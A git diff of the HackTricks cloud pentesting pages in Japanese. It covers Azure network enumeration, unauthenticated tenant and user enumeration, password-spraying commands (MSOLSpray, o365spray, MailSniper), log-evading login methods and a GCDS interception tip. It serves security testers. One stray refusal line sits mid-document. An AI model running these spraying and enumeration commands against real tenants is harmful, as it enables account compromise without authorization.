b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index 44cdfd4af..e469cd9ff 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -16,13 +16,13 @@ Azure仮想ネットワーク(VNet)は、クラウド内の自分のネッ **例:** -- `MyVNet` のIPアドレス範囲は10.0.0.0/16。 +- `MyVNet`のIPアドレス範囲は10.0.0.0/16。 - **サブネット-1:** ウェブサーバー用の10.0.0.0/24。 - **サブネット-2:** データベースサーバー用の10.0.1.0/24。 ### 列挙 -Azureアカウント内のすべてのVNetとサブネットをリストするには、Azureコマンドラインインターフェース(CLI)を使用できます。手順は以下の通りです。 +Azureアカウント内のすべてのVNetとサブネットをリストするには、Azureコマンドラインインターフェイス(CLI)を使用できます。手順は以下の通りです。 {{#tabs }} {{#tab name="az cli" }} @@ -35,7 +35,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName @@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name -ResourceGroupName --re ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Azure Firewalls Get-AzFirewall @@ -142,9 +142,9 @@ Get-AzFirewall ## Azure ルートテーブル -Azure **ルートテーブル** は、サブネット内のネットワークトラフィックのルーティングを制御するために使用されます。これらは、パケットがどのように転送されるべきかを指定するルールを定義します。ルールは、Azure リソース、インターネット、または仮想アプライアンスや Azure ファイアウォールのような特定の次のホップに対して設定できます。ルートテーブルを **サブネット** に関連付けることができ、そのサブネット内のすべてのリソースはテーブル内のルートに従います。 +Azure **ルートテーブル** は、サブネット内のネットワークトラフィックのルーティングを制御するために使用されます。これらは、パケットがどのように転送されるべきかを指定するルールを定義します。転送先は、Azure リソース、インターネット、または仮想アプライアンスや Azure ファイアウォールのような特定の次ホップです。ルートテーブルを **サブネット** に関連付けることができ、そのサブネット内のすべてのリソースはテーブル内のルートに従います。 -**例:** サブネットが、検査のためにネットワーク仮想アプライアンス (NVA) を介して外向きトラフィックをルーティングする必要があるリソースをホストしている場合、ルートテーブルに **ルート** を作成して、すべてのトラフィック (例: `0.0.0.0/0`) を NVA のプライベート IP アドレスに次のホップとしてリダイレクトできます。 +**例:** サブネットが、検査のためにネットワーク仮想アプライアンス (NVA) を介して外向きトラフィックをルーティングする必要があるリソースをホストしている場合、ルートテーブルに **ルート** を作成して、すべてのトラフィック (例: `0.0.0.0/0`) を次ホップとして NVA のプライベート IP アドレスにリダイレクトできます。 ### **列挙** @@ -159,7 +159,7 @@ az network route-table route list --route-table-name --resource ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Route Tables Get-AzRouteTable @@ -171,7 +171,7 @@ Get-AzRouteTable ## Azure Private Link -Azure Private Linkは、**Azureサービスへのプライベートアクセスを可能にするAzureのサービス**であり、**Azure仮想ネットワーク(VNet)とサービス間のトラフィックがMicrosoftのAzureバックボーンネットワーク内で完全に移動することを保証します**。これにより、サービスがVNetに取り込まれます。この設定は、データをパブリックインターネットにさらさないことでセキュリティを強化します。 +Azure Private Linkは、**Azureサービスへのプライベートアクセスを可能にする**Azureのサービスであり、**Azure仮想ネットワーク(VNet)とサービス間のトラフィックが完全にMicrosoftのAzureバックボーンネットワーク内を移動することを保証します**。これにより、サービスがVNetに取り込まれます。この設定は、データをパブリックインターネットにさらさないことでセキュリティを強化します。 Private Linkは、Azure Storage、Azure SQL Database、Private Linkを介して共有されるカスタムサービスなど、さまざまなAzureサービスで使用できます。これは、自分のVNet内または異なるAzureサブスクリプションからサービスを消費するための安全な方法を提供します。 @@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Private Link Services Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName @@ -207,11 +207,11 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private ## Azure Service Endpoints -Azure Service Endpointsは、仮想ネットワークのプライベートアドレス空間とVNetのアイデンティティを、直接接続を介してAzureサービスに拡張します。サービスエンドポイントを有効にすることで、**VNet内のリソースがAzureのバックボーンネットワークを使用してAzureサービスに安全に接続できるようになります**。これにより、**VNetからAzureサービスへのトラフィックがAzureネットワーク内に留まることが保証され**、より安全で信頼性の高い経路が提供されます。 +Azure Service Endpointsは、仮想ネットワークのプライベートアドレス空間とVNetのアイデンティティを、直接接続を介してAzureサービスに拡張します。サービスエンドポイントを有効にすることで、**VNet内のリソースがAzureのバックボーンネットワークを使用してAzureサービス**(Azure StorageやAzure SQL Databaseなど)に安全に接続できるようになります。これにより、**VNetからAzureサービスへのトラフィックがAzureネットワーク内に留まることが保証され**、より安全で信頼性の高い経路が提供されます。 **例:** -たとえば、**Azure Storage**アカウントはデフォルトでパブリックインターネット経由でアクセス可能です。**VNet内でAzure Storageのサービスエンドポイントを有効にすることで**、VNetからのトラフィックのみがストレージアカウントにアクセスできるようにすることができます。ストレージアカウントのファイアウォールは、その後、VNetからのトラフィックのみを受け入れるように構成できます。 +たとえば、**Azure Storage**アカウントはデフォルトでパブリックインターネット経由でアクセス可能です。VNet内で**Azure Storageのサービスエンドポイントを有効にすることで**、VNetからのトラフィックのみがストレージアカウントにアクセスできるようにすることができます。その後、ストレージアカウントのファイアウォールを設定して、VNetからのトラフィックのみを受け入れるようにできます。 ### **Enumeration** @@ -226,7 +226,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName - ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List the Web Application Firewall configurations for your Application Gateways (Get-AzApplicationGateway -Name -ResourceGroupName ).WebApplicationFirewallConfiguration ``` @@ -322,15 +322,15 @@ az network application-gateway waf-config list --gateway-name - ## Azure Hub, Spoke & VNet Peering **VNet Peering**は、Azureのネットワーキング機能であり、**異なる仮想ネットワーク(VNet)を直接かつシームレスに接続することを可能にします**。VNetピアリングを通じて、1つのVNet内のリソースは、**同じネットワークにいるかのように、別のVNet内のリソースとプライベートIPアドレスを使用して通信できます**。\ -**VNetピアリングは、オンプレミスネットワークとも使用できます**。サイト間VPNまたはAzure ExpressRouteを設定することで実現します。 +**VNetピアリングは、オンプレミスネットワークとも使用でき、サイト間VPNまたはAzure ExpressRouteを設定することができます**。 **Azure Hub and Spoke**は、Azureでネットワークトラフィックを管理および整理するために使用されるネットワークトポロジーです。**「ハブ」は、異なる「スポーク」間のトラフィックを制御しルーティングする中央ポイントです**。ハブには通常、ネットワーク仮想アプライアンス(NVA)、Azure VPN Gateway、Azure Firewall、またはAzure Bastionなどの共有サービスが含まれています。**「スポーク」は、ワークロードをホストし、VNetピアリングを使用してハブに接続するVNetです**。これにより、ハブ内の共有サービスを活用できます。このモデルは、クリーンなネットワークレイアウトを促進し、異なるVNet間で複数のワークロードが使用できる共通サービスを集中化することで複雑さを軽減します。 -> [!CAUTION] > **AzureにおけるVNETピアリングは非推移的です**。つまり、スポーク1がスポーク2に接続され、スポーク2がスポーク3に接続されている場合、スポーク1はスポーク3と直接通信できません。 +> [!CAUTION] > **AzureにおけるVNETピアリングは非推移的であり**、スポーク1がスポーク2に接続され、スポーク2がスポーク3に接続されている場合、スポーク1はスポーク3と直接通信できません。 **例:** -販売、HR、開発などの別々の部門を持つ会社を想像してください。**それぞれが独自のVNet(スポーク)を持っています**。これらのVNetは、**中央データベース、ファイアウォール、インターネットゲートウェイなどの共有リソースへのアクセスを必要とします**。これらはすべて**別のVNet(ハブ)**にあります。ハブとスポークモデルを使用することで、各部門は**ハブVNetを通じて共有リソースに安全に接続でき、これらのリソースをパブリックインターネットにさらすことなく、複雑なネットワーク構造を作成することなく接続できます**。 +営業、HR、開発などの別々の部門を持つ会社を想像してください。**各部門には独自のVNet(スポーク)が存在します**。これらのVNetは、**中央データベース、ファイアウォール、インターネットゲートウェイなどの共有リソースへのアクセスを必要とします**。これらのリソースはすべて**別のVNet(ハブ)にあります**。ハブとスポークモデルを使用することで、各部門は**ハブVNetを介して共有リソースに安全に接続でき、これらのリソースをパブリックインターネットにさらすことなく、複雑なネットワーク構造を作成することなく接続できます**。 ### Enumeration @@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List all VNets in your subscription Get-AzVirtualNetwork @@ -363,11 +363,11 @@ Get-AzFirewall ## サイト間VPN -Azureのサイト間VPNは、**オンプレミスネットワークをAzure仮想ネットワーク(VNet)に接続**することを可能にし、Azure内のVMなどのリソースがローカルネットワーク上にあるかのように見えるようにします。この接続は、**トラフィックを暗号化するVPNゲートウェイ**を通じて確立されます。 +Azureのサイト間VPNは、**オンプレミスネットワークをAzure仮想ネットワーク(VNet)に接続**することを可能にし、Azure内のVMなどのリソースがローカルネットワーク上にあるかのように表示されます。この接続は、**2つのネットワーク間のトラフィックを暗号化するVPNゲートウェイ**を通じて確立されます。 **例:** -ニューヨークに本社を置く企業は、Azure内のVNetに安全に接続する必要があるオンプレミスデータセンターを持っています。ここでは仮想化されたワークロードがホストされています。**サイト間VPNを設定することで、企業はオンプレミスサーバーとAzure VM間の暗号化された接続を確保でき、両方の環境でリソースに安全にアクセスできるようになります。** +ニューヨークに本社を置く企業が、Azure内のVNetに安全に接続する必要があるオンプレミスデータセンターを持っています。このVNetは仮想化されたワークロードをホストしています。**サイト間VPNを設定することで、企業はオンプレミスサーバーとAzure VM間の暗号化された接続を確保でき、両方の環境でリソースに安全にアクセスできるようになります。** ### **列挙** @@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name --resource-group ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List VPN Gateways Get-AzVirtualNetworkGateway -ResourceGroupName @@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List ExpressRoute Circuits Get-AzExpressRouteCircuit ``` diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md index c65573e79..00bb95ee3 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md @@ -17,7 +17,7 @@ APIに直接クエリするか、PowerShellライブラリ[**AADInternals**](htt | login.microsoftonline.com/common/GetCredentialType | **デスクトップSSO情報**を含むログイン情報 | `Get-AADIntLoginInformation -UserName ` | **AADInternals**ライブラリの**1つのコマンド**でAzureテナントのすべての情報をクエリできます: -```powershell +```bash Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table ``` Azureテナント情報の出力例: @@ -34,9 +34,9 @@ company.mail.onmicrosoft.com True True True Managed company.onmicrosoft.com True True True Managed int.company.com False False False Managed ``` -テナントの名前、ID、および「ブランド」名に関する詳細を観察することが可能です。さらに、デスクトップシングルサインオン(SSO)、別名[**シームレスSSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)のステータスが表示されます。この機能が有効になっている場合、ターゲット組織内の特定のユーザーの存在(列挙)を判断するのが容易になります。 +テナントの名前、ID、および「ブランド」名に関する詳細を観察することが可能です。さらに、デスクトップシングルサインオン(SSO)、別名[**シームレスSSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)のステータスも表示されます。この機能が有効になっている場合、ターゲット組織内の特定のユーザーの存在(列挙)を判断するのが容易になります。 -さらに、出力にはターゲットテナントに関連付けられたすべての検証済みドメインの名前と、それぞれのアイデンティティタイプが表示されます。フェデレーテッドドメインの場合、使用中のアイデンティティプロバイダーの完全修飾ドメイン名(FQDN)、通常はADFSサーバーが開示されます。「MX」列は、メールがExchange Onlineにルーティングされるかどうかを指定し、「SPF」列はExchange Onlineがメール送信者としてリストされていることを示します。現在の偵察機能はSPFレコード内の「include」ステートメントを解析しないため、偽陰性が発生する可能性があることに注意が必要です。 +さらに、出力にはターゲットテナントに関連付けられたすべての検証済みドメインの名前と、それぞれのアイデンティティタイプが表示されます。フェデレーテッドドメインの場合、使用中のアイデンティティプロバイダーの完全修飾ドメイン名(FQDN)、通常はADFSサーバーも開示されます。「MX」列は、メールがExchange Onlineにルーティングされるかどうかを指定し、「SPF」列はExchange Onlineがメール送信者としてリストされていることを示します。現在の偵察機能はSPFレコード内の「include」ステートメントを解析しないため、偽陰性が発生する可能性があることに注意が必要です。 ### ユーザー列挙 @@ -47,7 +47,7 @@ int.company.com False False False Managed メールアドレスは、ユーザーのメールアドレスで、「@」がアンダースコア「\_」に置き換えられています。 [**AADInternals**](https://github.com/Gerenios/AADInternals)を使用すると、ユーザーが存在するかどうかを簡単に確認できます: -```powershell +```bash # Check does the user exist Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com" ``` @@ -67,24 +67,24 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com external.user_outlook.com#EXT#@company.onmicrosoft.com ``` -```powershell +```bash # Invoke user enumeration Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal ``` 異なる列挙方法が**3つ**あります: -| 方法 | 説明 | -| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Normal | これは上記で言及されたGetCredentialType APIを指します。デフォルトの方法です。 | -| Login |

この方法はユーザーとしてログインしようとします。
注意:クエリはサインインログに記録されます。

| +| 方法 | 説明 | +| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Normal | これは上記で言及されたGetCredentialType APIを指します。デフォルトの方法です。 | +| Login |

この方法はユーザーとしてログインしようとします。
注意:クエリはサインインログに記録されます。

| | Autologon |

この方法はオートログオンエンドポイントを介してユーザーとしてログインしようとします。
クエリはサインインログに記録されません!そのため、パスワードスプレーやブルートフォース攻撃にも適しています。

| 有効なユーザー名を発見した後、次の方法で**ユーザーに関する情報**を取得できます: -```powershell +```bash Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com ``` スクリプト [**o365creeper**](https://github.com/LMGsec/o365creeper) は、**メールが有効かどうかを確認する**ことも可能です。 -```powershell +```bash # Put in emails.txt emails such as: # - root@corp.onmicrosoft.com python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt @@ -107,7 +107,7 @@ I'm sorry, but I cannot provide the content you requested. [+] user2@domain - User2 | Company (Away, Mobile) [+] user3@domain - User3 | Company (Available, Desktop) ``` -さらに、次のような既存ユーザーの可用性情報を列挙することが可能です: +さらに、次のような既存ユーザーに関する可用性情報を列挙することが可能です: - 利用可能 - 不在 @@ -173,14 +173,14 @@ I'm sorry, but I cannot provide the content you requested. **Azureテナント**が使用している**ドメイン**がわかったので、**公開されているAzureサービス**を見つけるために試してみましょう。 この目的のために、[**MicroBust**](https://github.com/NetSPI/MicroBurst)のメソッドを使用できます。この関数は、いくつかの**Azureサービスドメイン**でベースドメイン名(およびいくつかの変種)を検索します。 -```powershell +```bash Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose Invoke-EnumerateAzureSubDomains -Base corp -Verbose ``` ## オープンストレージ -オープンストレージを発見するには、[**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1)のようなツールを使用できます。このツールは、ファイル**`Microburst/Misc/permitations.txt`**を使用して、オープンストレージアカウントを**見つける**ための非常にシンプルな順列を生成します。 -```powershell +You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**. +```bash Import-Module .\MicroBurst\MicroBurst.psm1 Invoke-EnumerateAzureBlobs -Base corp [...] @@ -197,22 +197,22 @@ _**共有アクセス署名**_ (SAS) URLは、特定のストレージアカウ `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` -[**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/)を使用してデータにアクセスします +[**ストレージエクスプローラー**](https://azure.microsoft.com/en-us/features/storage-explorer/)を使用してデータにアクセスします -## Compromise Credentials +## 認証情報の侵害 -### Phishing +### フィッシング -- [**一般的なフィッシング**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html)(資格情報またはOAuthアプリ -[不正同意付与攻撃](az-oauth-apps-phishing.md)-) +- [**一般的なフィッシング**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html)(認証情報またはOAuthアプリ -[不正同意付与攻撃](az-oauth-apps-phishing.md)-) - [**デバイスコード認証** フィッシング](az-device-code-authentication-phishing.md) -### Password Spraying / Brute-Force +### パスワードスプレー / ブルートフォース {{#ref}} az-password-spraying.md {{#endref}} -## References +## 参考文献 - [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/) - [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/) diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md index bb262ab5f..667090599 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md @@ -1,24 +1,24 @@ -# Az - パスワードスプレー +# Az - Password Spraying {{#include ../../../banners/hacktricks-training.md}} -## パスワードスプレー +## Password Spray -**Azure** では、Azure AD Graph、Microsoft Graph、Office 365 Reporting webservice などの **異なる API エンドポイント** に対してこれを行うことができます。 +**Azure**では、Azure AD Graph、Microsoft Graph、Office 365 Reporting webserviceなどの**異なるAPIエンドポイント**に対してこれを実行できます。 -ただし、この技術は **非常に騒がしい** ため、Blue Team は **簡単に検出できます**。さらに、**強制パスワードの複雑さ** と **MFA** の使用により、この技術はほとんど無意味になる可能性があります。 +ただし、この技術は**非常に騒がしい**ため、Blue Teamは**簡単に検出できます**。さらに、**強制パスワードの複雑さ**や**MFA**の使用により、この技術はほとんど無意味になる可能性があります。 -[**MSOLSpray**](https://github.com/dafthack/MSOLSpray) を使用してパスワードスプレー攻撃を実行できます。 -```powershell +[**MSOLSpray**](https://github.com/dafthack/MSOLSpray)を使用してパスワードスプレー攻撃を実行できます。 +```bash . .\MSOLSpray\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose ``` -または [**o365spray**](https://github.com/0xZDH/o365spray) を使用して +Or with [**o365spray**](https://github.com/0xZDH/o365spray) ```bash python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com ``` -または [**MailSniper**](https://github.com/dafthack/MailSniper) を使用して -```powershell +Or with [**MailSniper**](https://github.com/dafthack/MailSniper) +```bash #OWA Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt #EWS diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index edcd29eb3..53b6dc5ca 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,4 +1,4 @@ -# Pentesting Cloud Methodology +# クラウドペンテスティングの方法論 {{#include ../banners/hacktricks-training.md}} @@ -10,26 +10,26 @@ - **ベンチマークチェック** - これにより、**環境の規模**や**使用されているサービス**を理解するのに役立ちます。 -- また、**自動化ツール**を使用してほとんどのテストを実行できるため、いくつかの**迅速な誤設定**を見つけることもできます。 +- ほとんどのテストを**自動化ツール**で実行できるため、いくつかの**迅速な誤設定**を見つけることも可能です。 - **サービスの列挙** -- ベンチマークテストを正しく実施していれば、ここでさらに多くの誤設定を見つけることはないでしょうが、ベンチマークテストで見落とされていたものを見つけるかもしれません。 +- ベンチマークテストを正しく実施していれば、ここでの誤設定はあまり見つからないでしょうが、ベンチマークテストで見落とされていたものが見つかるかもしれません。 - これにより、クラウド環境で**何が正確に使用されているか**を知ることができます。 -- 次のステップで大いに役立ちます。 +- 次のステップに大いに役立ちます。 - **公開されている資産の確認** -- これは前のセクションで行うことができ、**インターネットに対して潜在的に公開されているすべてのもの**を見つけ出し、どのようにアクセスできるかを確認する必要があります。 -- ここでは、**手動で公開されたインフラ**(ウェブページを持つインスタンスや他のポートが公開されているもの)や、**公開されるように設定できる他のクラウド管理サービス**(DBやバケットなど)について取り上げています。 +- これは前のセクションで行うことができ、**インターネットに潜在的に公開されているすべてのもの**を見つけ出し、どのようにアクセスできるかを確認する必要があります。 +- ここでは、**手動で公開されたインフラストラクチャ**(ウェブページを持つインスタンスや他のポートが公開されているもの)や、**公開されるように設定できる他のクラウド管理サービス**(DBやバケットなど)について取り上げています。 - 次に、そのリソースが**公開可能かどうか**を確認する必要があります(機密情報?脆弱性?公開されたサービスの誤設定?)。 - **権限の確認** -- ここでは、クラウド内の各ロール/ユーザーの**すべての権限を把握し**、それらがどのように使用されているかを確認する必要があります。 -- **特権の高い**(すべてを制御する)アカウントが多すぎる?使用されていない生成されたキー?... これらのチェックのほとんどはすでにベンチマークテストで行われているはずです。 +- ここでは、クラウド内の各ロール/ユーザーの**すべての権限を把握**し、それがどのように使用されているかを確認する必要があります。 +- **特権の高い**(すべてを制御する)アカウントが多すぎる?生成されたキーが使用されていない?... これらのチェックのほとんどは、すでにベンチマークテストで行われているはずです。 - クライアントがOpenIDやSAML、その他の**フェデレーション**を使用している場合、**各ロールがどのように割り当てられているか**についてさらに**情報**を求める必要があります(管理者ロールが1人のユーザーに割り当てられているのと100人に割り当てられているのは同じではありません)。 -- **管理者**権限を持つユーザーを見つけるだけでは**不十分**です "\*:\*"。使用されるサービスによっては、非常に**敏感な**他の**権限**がたくさんあります。 -- さらに、権限を悪用する**潜在的な特権昇格**の方法があります。これらすべてのことを考慮に入れ、**できるだけ多くの特権昇格パスを**報告する必要があります。 +- **管理者**権限 "\*:\*" を持つユーザーを見つけるだけでは**不十分**です。使用されるサービスによっては、非常に**敏感**な**他の権限**がたくさんあります。 +- さらに、権限を悪用する**潜在的な特権昇格**の方法があります。これらすべてのことを考慮し、**できるだけ多くの特権昇格パス**を報告する必要があります。 - **統合の確認** - **他のクラウドやSaaSとの統合**がクラウド環境内で使用されている可能性が非常に高いです。 -- **監査しているクラウドの統合**については、その統合を**(悪用)するアクセス権を持つ人**を通知し、実行されているアクションが**どれほど敏感**であるかを尋ねる必要があります。\ +- **監査しているクラウドの統合**については、**その統合を(悪用)するアクセス権を持つのは誰か**を通知し、実行されているアクションが**どれほど敏感**であるかを尋ねる必要があります。\ 例えば、GCPがデータを取得しているAWSバケットに書き込むことができるのは誰か(GCPでそのデータを扱う際のアクションの敏感さを尋ねる)。 -- **監査しているクラウド内の統合**については、外部プラットフォームから**(悪用)するアクセス権を持つ人**を尋ね、そのデータがどのように使用されているかを確認する必要があります。\ +- **監査しているクラウド内の統合**については、外部プラットフォームからの**その統合を(悪用)するための外部アクセス権を持つのは誰か**を尋ね、データがどのように使用されているかを確認する必要があります。\ 例えば、サービスがGCRにホストされているDockerイメージを使用している場合、そのイメージを修正するアクセス権を持つのは誰か、AWSクラウド内で実行されたときにそのイメージがどのような機密情報やアクセスを取得するかを尋ねる必要があります。 ## マルチクラウドツール @@ -146,7 +146,7 @@ done {{#tabs }} {{#tab name="Install" }} -Steampipeをダウンロードしてインストールします ([https://steampipe.io/downloads](https://steampipe.io/downloads))。または、Brewを使用します: +Steampipeをダウンロードしてインストールします ([https://steampipe.io/downloads](https://steampipe.io/downloads))。または、Brewを使用します: ``` brew tap turbot/tap brew install steampipe @@ -238,7 +238,7 @@ python2.7が必要で、メンテナンスされていないようです。 ### Nessus -Nessusには、AWS、Azure、Office 365、Rackspace、Salesforceをサポートする_**Audit Cloud Infrastructure**_スキャンがあります。**Azure**で**Client Id**を取得するために追加の設定が必要です。 +Nessusには、AWS、Azure、Office 365、Rackspace、Salesforceをサポートする_**Audit Cloud Infrastructure**_スキャンがあります。**Azure**で**Client Id**を取得するために、いくつかの追加設定が必要です。 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) @@ -265,7 +265,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartographyは、インフラストラクチャ資産とそれらの関係を、Neo4jデータベースによって強化された直感的なグラフビューで統合するPythonツールです。 +Cartographyは、インフラストラクチャ資産とそれらの関係を直感的なグラフビューで統合するPythonツールで、Neo4jデータベースによって支えられています。 {{#tabs }} {{#tab name="Install" }} @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューにまとめます。 +Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューに表示します。 {{#tabs }} {{#tab name="Install" }} @@ -361,8 +361,8 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -スキャンされたAWSまたはAzure環境で最も特権のあるユーザーを発見します。これにはAWS Shadow Adminsが含まれます。PowerShellを使用します。 -```powershell +スキャンされたAWSまたはAzure環境で最も特権のあるユーザーを発見します。これにはAWSシャドウ管理者が含まれます。PowerShellを使用します。 +```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -380,7 +380,7 @@ Scan-AzureAdmins - 手動のpentestingを補完することを目的とした列挙ツールです。 - クラウド環境内のデータを作成または変更することはありません。 -### クラウドセキュリティツールのリスト +### クラウドセキュリティツールのさらなるリスト - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -410,12 +410,12 @@ aws-security/ azure-security/ {{#endref}} -### 攻撃グラフ +### Attack Graph [**Stormspotter** ](https://github.com/Azure/Stormspotter)は、Azureサブスクリプション内のリソースの「攻撃グラフ」を作成します。これにより、レッドチームやpentesterはテナント内の攻撃面とピボットの機会を視覚化でき、ディフェンダーはインシデント対応作業を迅速に方向付け、優先順位を付けることができます。 ### Office365 -**Global Admin**または少なくとも**Global Admin Reader**が必要です(ただし、Global Admin Readerには少し制限があります)。ただし、これらの制限は一部のPSモジュールに現れ、**ウェブアプリケーションを介して**機能にアクセスすることで回避できます。 +**Global Admin**または少なくとも**Global Admin Reader**が必要です(ただし、Global Admin Readerには少し制限があります)。ただし、これらの制限は一部のPSモジュールに現れ、**ウェブアプリケーション経由で**機能にアクセスすることで回避できます。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md index eaf32677e..9ccc7d7f5 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md @@ -6,21 +6,21 @@ これは、**アクティブディレクトリのユーザーとグループをWorkspaceに同期するために使用できるツール**です(執筆時点ではその逆はできません)。 -これは、**Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報**を必要とするツールであるため、時折ユーザーを同期しているドメインサーバー内で見つけることができるかもしれません。 +これは、**Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報**を必要とするツールであるため、興味深いです。したがって、時折ユーザーを同期しているドメインサーバー内で見つけることができるかもしれません。 > [!NOTE] > **`config-manager.exe`**バイナリに対して**MitM**を実行するには、`config.manager.vmoptions`ファイルに次の行を追加してください: **`-Dcom.sun.net.ssl.checkRevocation=false`** > [!TIP] -> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCDS**を検出し、構成に関する情報を取得し、**パスワードや暗号化された資格情報**さえも取得できることに注意してください。 +> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は、**GCDS**を検出し、構成に関する情報を取得し、**パスワードや暗号化された資格情報**さえも取得できることに注意してください。 -また、GCDSはADからWorkspaceにパスワードを同期しないことにも注意してください。何かあれば、Workspaceで新しく作成されたユーザーのためにランダムなパスワードを生成するだけです。以下の画像のように: +また、GCDSはADからWorkspaceにパスワードを同期しないことにも注意してください。何かあれば、Workspaceで新しく作成されたユーザーのためにランダムなパスワードを生成するだけです。以下の画像に示すように:
